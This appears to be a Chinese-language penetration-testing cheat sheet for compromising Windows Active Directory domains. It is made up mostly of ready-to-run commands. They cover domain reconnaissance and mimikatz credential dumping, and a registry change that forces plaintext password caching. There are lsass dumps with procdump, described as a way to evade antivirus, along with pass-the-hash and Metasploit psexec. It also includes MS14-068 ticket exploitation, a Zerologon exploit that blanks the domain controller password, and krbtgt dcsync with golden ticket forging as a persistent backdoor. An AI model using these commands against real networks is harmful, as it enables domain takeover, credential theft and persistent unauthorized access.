schtasks /create /tn test /tr E:\test.bat /sc daily /st 9:00

schtasks /create /tn test /tr E:\test.bat /sc daily /mo 1
#一分钟执行一次

域渗透

域内信息收集

查看域环境

ipconfig /all # 查看⽹卡信息
systeminfo    #查看系统信息
net config workstation  #查看当前登录域和域用户
nslookup lalala.com  #定位域控

net view (查看域内在线主机)

net view /domain (查看当前有几个域环境)

net user /domain (查看域内有哪些用戶)

net group /domain (查看域内组信息)

这⾥可以看⻅组较多,这⾥列出⼏个关键组了解⼀下。

*Domain Admins 管理员组

*Domain Computers 主机名

*Domain Controllers 域控组

*Enterprise Admins 企业级管理员

可以通过 net group 组名 /domain 来查看组内⽤户

mimikatz基本使用

https://github.com/gentilkiwi/mimikatz/

常用命令

  • :: 显示帮助指令

  • cls 清空

  • privilege 权限相关

    • ::debug 提升 mimikatz 权限

    • standard 标准模块,基本命令

    • ::msv 列出 LM 和 NTML 凭证

    • ::kerberos 列出 kerberos 凭证

    • ::logonPasswords 列出 所有可⽤的凭据

    • ::minidump 载⼊ lsass 内存⽂件

    • ::pth pass-the-hash 哈希传递

  • lsadump lsadump 模块

    • ::dcsync 获取指定⽤户信息

  • kerberos kerberos 模块

    • ::list 列出票据

    • ::purge 清空票据

抓取密码

privilege::debug #获得调试模式

sekurlsa::logonpasswords #抓取密码

注意: 当目标为win10或2012R2以上或KB2871997时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文(需要用户重新登录,也可能需要重启)。

#修改为明文
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#恢复
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

SMB、WMI、PSExec

impacket kali有自带

https://blog.csdn.net/weixin_46944519/article/details/122304111

mimikatz免杀思路

ProcDump

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump 是微软的官方工具,不会被杀,所以如果你的 mimikatz 不免杀,可以用 procdump 导出 lsass.dmp 后拖回本地抓取密码来规避杀软。

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

也可以采用 pid 方式规避杀软

tasklist /fi "imagename eq lsass.exe"
procdump -accepteula -ma 640 lsass.dmp

然后用 mimikatz 加载导出来的内存再抓 hash

sekurlsa::minidump c:\users\test\appdata\local\temp\lsass.dmp
sekurlsa::logonpasswords full

PTH

  • Pth 的对象 :使⽤ net user /domain 等命令即可查看域内⽤户信息

  • 域名 :使⽤ net view /domain 等命令即可查看域名

  • NTLM hash :可以通过使⽤ procdump 配合 mimikatz 获取

sekurlsa::pth /user:xx /domain:xx /ntlm:xxx

msfconsole

use exploit/windows/smb/psexec
set rhost 传递的地址
set smbuser administrator
set smbpass (lm:ntlm)

kerberos认证协议

  1. KDC(Key Distribution Center):密钥分发服中⼼

  2. AS(Authentication Server):认证服务器

  3. TGS(Ticket Granting Server):票据授权服务器

  4. TGT(Ticket Granting Ticket):票据授权票据

PTC

https://github.com/safesword/WindowsExp

影响范围

  • Windows Server 2003、Windows Server 2008、Windows Server 2008 R2

  • Windows Server 2012 及 Windows Server 2012 R2

  • Windows Vista、Windows 7、 Windows 8 及 Windows 8.1

利用条件

补丁编号:KB3011780

  • 获取到⼀台主机的权限 (管理员权限)

  • 收集到计算机⽤户的账号密码、SID、域名信息

  • 没打 MS14-068 补丁

漏洞利用

ms14-068.exe -u <⽤户名@域名> -s <SID> -d <ip地址> -p <⽤户密码>

将票据导入

$mimikatz
kerberos::purge #清空票据(危险,无法跟域交互)
kerberos::ptc #票据名称
misc::cmd #调用cmd

Zerologon

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

获取域控主机名

 nbtstat.exe -A ip

image-20240120221832707

mimikatz - zerologon

探测

lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$

image-20240120222003547

OK表示漏洞存在!

利用

lsadump::zerologon /target:域控ip地址 /account:域控主机名称$ /exploit

将域控的密码设置为空

进一步利用

lsadump::dcsync /dc:主机全称 /authuser:主机名称$ /authdomain:域名 /authpassword:"" /domain:域名 /authntlm /user:krbtgt

获取krbtgt用户hash值

PTT(域后门)黄金票据

KDC 的作⽤是⽣成任意⽤户的 TGT,那么问题来了,是什么条件能够让他⽣成任意⽤ 户的 TGT 呢?还得看 kerberos 认证的过程,在 windows 认证过程中,客户端将⾃⼰的信息发 送给 KDC,然后 KDC 使⽤ krbtgt ⽤户密码的 hash 作为密钥进⾏加密,⽣成 TGT。

那么如果获取到了 krbtgt 的密码 hash 值,是否就可以伪造任意 TGT?答案是肯定的。 但因为 krbtgt 只有域控制器上才有,所以使⽤⻩⾦票据意味着之前就拿到了域控制器的权 限,所以⻩⾦票据可以理解为⼀个后⻔。

lsadump::dcsync /user:krbtgt #域控获取hash
    
kerberos::purge #清空票据(危险,无法跟域交互)
kerberos::golden /admin:administrator /domain:lalala.com /krbtgt:hash /sid:域内sid